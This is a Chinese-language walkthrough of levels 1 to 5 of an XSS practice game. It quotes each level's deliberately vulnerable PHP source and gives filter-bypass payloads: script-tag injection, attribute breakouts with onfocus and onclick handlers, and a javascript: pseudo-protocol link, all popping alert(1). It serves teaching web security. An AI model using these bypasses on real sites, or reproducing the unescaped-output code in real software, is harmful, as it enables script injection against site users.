寫在前面:
這個闖關遊戲旨在理解XSS的原理並運用各種姿勢繞過對於XSS攻擊的過濾和限制。
這個練習只要彈出彈框即可過關 ,每一關我也會附上payload和原始碼的解析
Level 1
觀察原始碼
<?php ini_set("display_errors", 0); //設定display_errors的值為false,即不提示錯誤資訊。 $str = $_GET["name"]; echo "<h2 align=center>歡迎使用者".$str."</h2>"; ?> <center><img src=level1.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>"; ?>
ini_set函式 — 為一個配置選項設定值
$varname
, string $newvalue
) : string設定指定配置選項的值。這個選項會在指令碼執行時保持新的值,並在指令碼結束時恢復。
其中varname的值是有規定的,詳情參考PHP手冊。
display_errors : 該選項設定是否將錯誤資訊作為輸出的一部分顯示到螢幕,或者對使用者隱藏而不顯示。
這裡沒有任何限制 直接在url中輸入payload :
<script>alert(1)</script>
ok!
Level 2
2個注入點:URL 和 搜尋框
首先在URL輸入我們Level 1 中的payload 發現沒有成功彈窗 頁面變成了下面這樣。
檢視頁面原始碼:我們在URL輸入的<>都被html實體化了,但是form中的並沒有
檢視php原始碼確認一下 :URL中的引數被實體化了 但是表單裡並沒有
htmlspecialchars ():
htmlspecialchars() 函式把預定義的字元轉換為 HTML 實體。
預定義的字元有:& , " , < , >
那麼嘗試在搜尋框寫入payload,注意閉合input標籤,成功!
"> <script>alert(1)</script>\\
">用來閉合input前面的<和value的前一個" 最後\\用來註釋掉最後的"> (不註釋也是可以的)
<input name=keyword value=""> <script>alert(1)</script> //"> (加入payload後的原始碼)
Level 3
觀察原始碼 這關和Level 2 不同的是 form中也呼叫了htmlspecialchars() 函式,所以不能直接呼叫JavaScirpt指令碼
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜尋 /> </form> </center>"; ?> <center><img src=level3.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>"; ?>
可以採用input標籤內的事件來進行繞過
一些常用事件如下:
onfocus 當input 獲取到焦點時觸發
onblur 當input失去焦點時觸發,注意:這個事件觸發的前提是已經獲取了焦點再失去焦點的時候會觸發相應的js
onchange 當input失去焦點並且它的value值發生變化時觸發
onkeydown 在 input中有鍵按住的時候執行一些程式碼
onkeyup 在input中有鍵抬起的時候觸發的事件,在此事件觸發之前一定觸發了onkeydown事件
onclick 主要是用於 input type=button,當被點選時觸發此事件
onselect 當input裡的內容文字被選中後執行一段,只要選擇了就會觸發,不是非得全部選中
oninput 當input的value值發生變化時就會觸發,不用等到失去焦點(與onchange的區別)
payload:注意閉合input標籤並觸發事件即可,比如onfocus需要獲取滑鼠焦點,onclick需要點選搜尋框。
//基於onfocus ' onfocus='window.alert(1) //這裡加不加window.都可 ' onfocus='alert(1) //基於onclick ' onclick='alert(1) ' onclick='window.alert(1)
Level 4
觀察原始碼:這裡依然是htmlspecialchars($str)函式對預定義的字元實體化
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜尋 /> </form> </center>'; ?> <center><img src=level4.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str3)."</h3>"; ?>
注意原始碼中對於兩個注入點的限制:
對於URL中,是會對 < > " 進行實體化轉義
對於form表單中 並不會實體化輸入的< > 而是因為str_replace函式將其換為空
str_replace函式例項:
<?php echo str_replace("world","Shanghai","Hello world!"); ?> 將hello world中的 world換為 shanghai
payload:還是利用input標籤內的事件,注意此時的value那裡需要 " 閉合 (payload可參考上面)
" onfocus="window.alert(1)"\\
Level 5
觀察原始碼:strtolower函式會把輸入的字串中字母全部變為小寫 然後通過後面str_replace函式限制了
script標籤和input標籤內的事件(都需要on這兩個字元)
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜尋 /> </form> </center>'; ?> <center><img src=level5.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str3)."</h3>"; ?>
這裡可以利用JavaScript的偽協議。
Q:什麼是JavaScript偽協議?
A:不同於因特網上的HTTP 、SMTP 、FTP 等真實存在的協議,而是為關聯應用程式而使用的.如:tencent://(關聯QQ);
而JavaScript的偽協議即可將javascript: 後的程式碼當作JS指令碼執行並把結果返回當前頁面。
示例: <a href="javascript:alert(1)">click!</a>
所以本關利用JavaScript的偽協議構造payload,注意閉合input標籤:
"> <a href="javascript:alert(1)">click!</a>\\